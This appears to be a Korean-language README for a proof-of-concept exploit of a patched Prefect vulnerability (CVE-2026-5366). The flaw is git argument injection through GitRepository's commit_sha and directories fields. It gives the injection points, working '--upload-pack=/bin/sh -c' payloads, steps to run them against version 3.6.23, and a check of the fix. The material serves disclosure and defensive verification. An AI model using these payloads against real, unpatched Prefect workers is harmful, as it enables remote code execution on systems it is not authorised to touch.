
CVE-2026-5366에 대한 PoC: Prefect의 GitRepository에서 git 인자 주입으로 인해 worker에서 RCE(원격 코드 실행)가 발생합니다.
commit_sha를 통한 RCE로 이어지는 git 인자 주입 (directories를 통한 인자 주입도 포함)src/prefect/runner/storage.py이 자료는 이미 공개되고 패치된 취약점(Prefect 3.6.25에서 수정됨)에 대한 개념 증명(PoC)으로, 교육 및 방어 검증 목적으로 게시되었습니다. 소유하거나 테스트할 권한이 있는 소프트웨어와 시스템에 대해서만 실행하십시오. Prefect를 실행 중이라면 3.6.25 이상으로 업그레이드하십시오.
| 파일 | 용도 |
|---|---|
poc.py | 취약한 설치 환경 대상으로 두 인젝션 벡터를 모두 실행하고 어느 쪽이 코드 실행으로 이어지는지 보고합니다 |
run_offline.sh | 네트워크가 필요 없는 실행기: 로컬 file:// 저장소를 만들고 그에 대해 poc.py를 실행합니다 (RCE가 발동하는 것을 확인하는 확실한 방법) |
src/prefect/runner/storage.py에서:
# Line 174
if branch and commit_sha:
raise ValueError(...)
# Line 181
self._commit_sha = commit_sha # no validation whatsoever
...
self._directories = directories
인젝션 지점 (3.6.23 라인 번호):
commit_sha:
pull_code() ~379: ["git", "fetch", "origin", self._commit_sha]pull_code() ~391: ["git", "checkout", self._commit_sha]_clone_repo() ~475: ["git", "fetch", "origin", self._commit_sha]_clone_repo() ~480: ["git", "checkout", self._commit_sha]directories:
pull_code() ~360: ["git", "sparse-checkout", "set", *self._directories]_clone_repo() ~489:
( 구분자가 없음)commit_sha 경로에서 --upload-pack=<program>은 git fetch/git checkout에 의해 연결에 실행할 팩 프로그램으로 해석되므로, 해당 프로그램은 워커 머신에서 로컬로 실행됩니다. 이는 엔드투엔드로 검증되었습니다 (아래 "검증 결과" 참조).
directories 경로는 실제 인자 주입이지만 --upload-pack을 통한 RCE 벡터는 아닙니다. git sparse-checkout set은 --upload-pack 옵션이 없는 로컬 명령이므로 페이로드가 알 수 없는 플래그로 거부됩니다. 이러한 비대칭성은 업스트림 수정에도 그대로 반영되어 있습니다. commit_sha는 강하게 거부되는 반면, --로 시작하는 directories 항목은 경고만 발생시킵니다.
핵심은 commit_sha 벡터에 대한 git 인자 주입 트릭입니다.
검증 없음. 3.6.23에서 commit_sha 값은 branch/commit_sha 상호 배제 외에는 검사 없이 그대로 저장됩니다(storage.py:181). 모든 문자열이 허용됩니다.
git 인자 위치에 도달함. Prefect가 코드를 가져올 때(pull_code() 후 _clone_repo()) 해당 값은 git 인자 목록에 배치됩니다:
["git", "fetch", "origin", self._commit_sha] # storage.py:475
["git", "checkout", self._commit_sha] # storage.py:480
셸이 없는 인자 목록이므로 셸 인젝션은 아닙니다. 문제는 공격자가 제어하는 값 앞에 -- 구분자가 없다는 것입니다.
--upload-pack은 인자가 아니라 옵션으로 파싱됨. git은 -- 구분자가 앞에 오지 않는 한 -로 시작하는 모든 것을 옵션으로 처리합니다. 페이로드:--upload-pack=/bin/sh -c 'echo "EXPLOITED..." > /tmp/marker.txt'
명령은 다음과 같이 변합니다:
git fetch origin --upload-pack=/bin/sh -c 'echo ... > /tmp/marker.txt'
--upload-pack=<program>은 git fetch/clone/ls-remote의 정당한 옵션입니다. git이 팩을 제공하기 위해 실행하는 프로그램을 지정합니다. 원격이 로컬(file://)이거나 SSH/로컬 전송을 통해 연결되는 경우, git은 해당 프로그램을 로컬 머신에서 실행합니다.
git-upload-pack 헬퍼 대신 /bin/sh -c '...'를 실행하므로 공격자의 명령이 Prefect 워커에서 실행됩니다. 이후 git은 실패하지만(sh는 git 프로토콜을 말하지 못함), 부작용(코드 실행)은 이미 발생했기 때문에 PoC는 결과 예외를 무시하고 마커 파일만 확인합니다.테스트 전 정리가 중요한 이유. 대상 디렉터리에 이미 .git이 있으면 Prefect는 "기존 저장소 업데이트" 경로를 사용합니다. 이를 삭제하면 가장 직접적인 fetch origin <value> + checkout <value> 호출이 포함된 전체 _clone_repo() 경로가 강제되며, 이것이 최상의 인젝션 지점입니다.
directories가 RCE를 주지 못하는 이유. 해당 값은 git sparse-checkout set <value>에 전달되는데, 이는 --upload-pack 옵션이 없는 로컬 명령이므로 git은 페이로드를 알 수 없는 플래그로 거부합니다. 여전히 실제 인자 주입이지만 이 페이로드로는 RCE 벡터가 아닙니다.
수정 사항 (3.6.25). commit_sha는 ^[0-9a-fA-F]{4,64}$와 일치해야 하므로 --upload-pack=... 페이로드는 생성 시점에 ValueError: Invalid commit SHA로 거부됩니다. directories의 경우 수정은 git 명령에 -- 구분자를 추가하고(값을 더 이상 옵션으로 읽을 수 없음) 경고도 추가합니다.
prefect==3.6.23 설치GitRepository(..., commit_sha=..., directories=...).pull_code() 직접 호출로 트리거commit_sha가 GitRepository(...) 생성 시 거부되는지 확인python -m venv .venv-vuln
source .venv-vuln/bin/activate
pip install "prefect==3.6.23"
또는 정확히 취약한 태그의 소스에서:
git clone https://github.com/PrefectHQ/prefect.git
cd prefect
git checkout 3.6.23
pip install -e .
안정적이고 자체 완결적인 방법(로컬 file:// 저장소를 만들고 두 벡터를 모두 실행):
./run_offline.sh
# or pin a specific interpreter:
PYTHON=.venv-vuln/bin/python ./run_offline.sh
poc.py를 직접 실행할 수도 있습니다:
python poc.py # default https target
POC_TARGET_REPO="file:///tmp/bare-repo.git" python poc.py # local repo
중요: git은 --upload-pack을 로컬 및 ssh 전송에서만 적용합니다. 기본 https 원격에서는 페이로드가 비활성 상태이므로, 취약한 3.6.23에서도 python poc.py는 마커가 없다고 보고합니다. run_offline.sh(또는 file:// / ssh POC_TARGET_REPO)를 사용해야 실제 RCE 발동을 확인할 수 있습니다.
이 스크립트는 각 벡터 전에 공격적인 정리(force_clean_destination)를 수행하여 안정적으로 클론 경로(_clone_repo)에 도달합니다. 해당 경로는 다음을 수행합니다:
git clone ... --no-checkout
git fetch origin <MALICIOUS_PAYLOAD>
git checkout <MALICIOUS_PAYLOAD>
commit_sha:
"--upload-pack=/bin/sh -c 'echo \"EXPLOITED via commit_sha $(date)\" > /tmp/prefect_rce_COMMIT_....txt 2>&1 || true'"
directories:
["--upload-pack=/bin/sh -c 'echo \"EXPLOITED via directories $(date)\" > /tmp/prefect_rce_DIRS_....txt 2>&1 || true'"]
이들은 fetch / checkout 및 sparse-checkout set의 원시 인자 위치를 공격합니다.
Python 3.12에서 완전히 오프라인(run_offline.sh를 통한 로컬 file:// 베어 저장소)으로 엔드투엔드 재현:
취약한 실행에서 관찰된 마커 내용:
EXPLOITED via commit_sha <date>
rm -f /tmp/prefect_rce_*.txt
rm -rf prefect-poc-*
패치된 설치 환경에서는 어떤 git이 실행되기 전에 악성 객체 생성이 실패합니다:
from prefect.runner.storage import GitRepository
GitRepository(url="https://github.com/octocat/Hello-World.git",
commit_sha="--upload-pack=/bin/sh -c 'id'")
# ValueError: Invalid commit SHA ...
--로 시작하는 directories 항목은 경고만 발생시킵니다 (실제 보호는 git 명령에 추가된 -- 구분자입니다).
3.6.236a9d9918716ce4ee0297b69f3046f7067ef1faae21b2838054c7231cee8cbe196fdadc67ee6c1c6d책임감 있게 사용하시고(물론이죠 !!! :PpPPpp) 통제할 수 있는 시스템에서만 사용하세요 :-)
["git", "sparse-checkout", "set", *self._directories]--| 버전 | commit_sha | directories |
|---|
| 3.6.23 (취약) | RCE 달성: git fetch origin <payload> 중 마커 파일 생성됨 | 마커 없음: sparse-checkout set이 --upload-pack 플래그를 거부함 |
| 3.6.25 (패치됨) | 무력화됨: GitRepository(...) 생성 시 ValueError: Invalid commit SHA ... | 마커 없음: -- 구분자 + 경고 |